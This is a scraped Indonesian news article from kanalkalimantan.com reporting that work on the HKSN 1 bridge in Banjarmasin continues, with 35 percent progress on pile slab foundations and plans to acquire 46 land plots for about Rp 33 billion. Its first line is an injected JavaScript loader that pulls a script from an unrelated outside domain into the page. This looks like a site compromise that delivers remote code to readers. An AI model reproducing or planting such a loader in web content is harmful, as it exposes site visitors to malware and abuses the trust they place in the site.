(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pengerjaan proyek jembatan HKSN 1 dipastikan berlanjut tahun ini, dengan menyambung fondasi pile slab jembatan ke arah Kuin Cerucuk.
Sekadar diketahui, fondasi pile slab merupakan struktur fondasi yang ditumpu oleh sistem kelompok tiang pancang. Diikat oleh pile cap yang digunakan untuk menahan dan meneruskan beban dari struktur atas ke dalam tanah yang mempunyai daya dukung untuk menahannya.
Pejabat Pelaksana Teknis Kegiatan (PPTK) Bidang Jembatan Dinas PUPR Kota Banjarmasin, Thomas Sigit Mugiarto mengatakan, pelaksanaan pengerjaan fondasi pile slab nanti mungkin bakal menimbulkan sedikit gangguan kenyamanan bagi para pengguna jalan.
“Tapi kami upayakan untuk tidak melakukan penutupan jalan. Sehingga tidak terlalu mengganggu aktivitas masyarakat di sana,” ujar Sigit.
Baca juga: Soal Kemenangan BirinMu, H Supian HK: Pendukung Jangan Berlebihan
Oleh sebab itu, sebelum melakukan penyambungan pile slab tersebut, pihaknya akan mengerjakan bagian pile slab di sekitar lengkungan jembatan terlebih dahulu, dengan panjang sekitar 170 meter.
“Hingga kini pengerjaan jembatan sudah sampai 35 persen,” kata Sigit.
Baca juga: BREAKING NEWS. Sikapi Hasil PSU, Haji Denny Tegaskan Kembali Tempuh Sengketa di MK
Sementara itu, Pelaksana tugas (Plt) Kepala Dinas PUPR Kota Banjarmasin, Doyo Pudjadi, mengatakan, pengerjaan proyek jembatan HKSN 1 tahun ini sudah dilelang dan sudah ada pemenang tender.
“Untuk saat ini, sudah dilakukan rapat konstruksi dan juga pengeboran untuk mengukur kedalaman tiang jembatan di sejumlah bagian,” beber Doyo.
Saat disinggung, terkait bagaimana dengan proses pembebasan lahan, Doyo memastikan bahwa lahan yang menjadi sasaran pengerjaan tahun 2021 sudah dibebaskan.
Baca juga: BREAKING NEWS. Sahbirin Sementara Unggul di PSU Pilgub Kalsel
Sementara untuk proses pengerjaan kedepan, sedikitnya akan ada 46 persil lahan atau bangunan rumah yang bakal dibebaskan.
Rinciannya akan ada 21 persil lahan atau bangunan rumah di Kuin Cerucuk dan 25 persil lahan di HKSN yang akan dibebaskan. Anggaran yang digunakan pada pembebasan lahan tersebut sekitar Rp 33 miliar. (kanalkalimantan.com/tius)
Reporter: tius
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
This website uses cookies.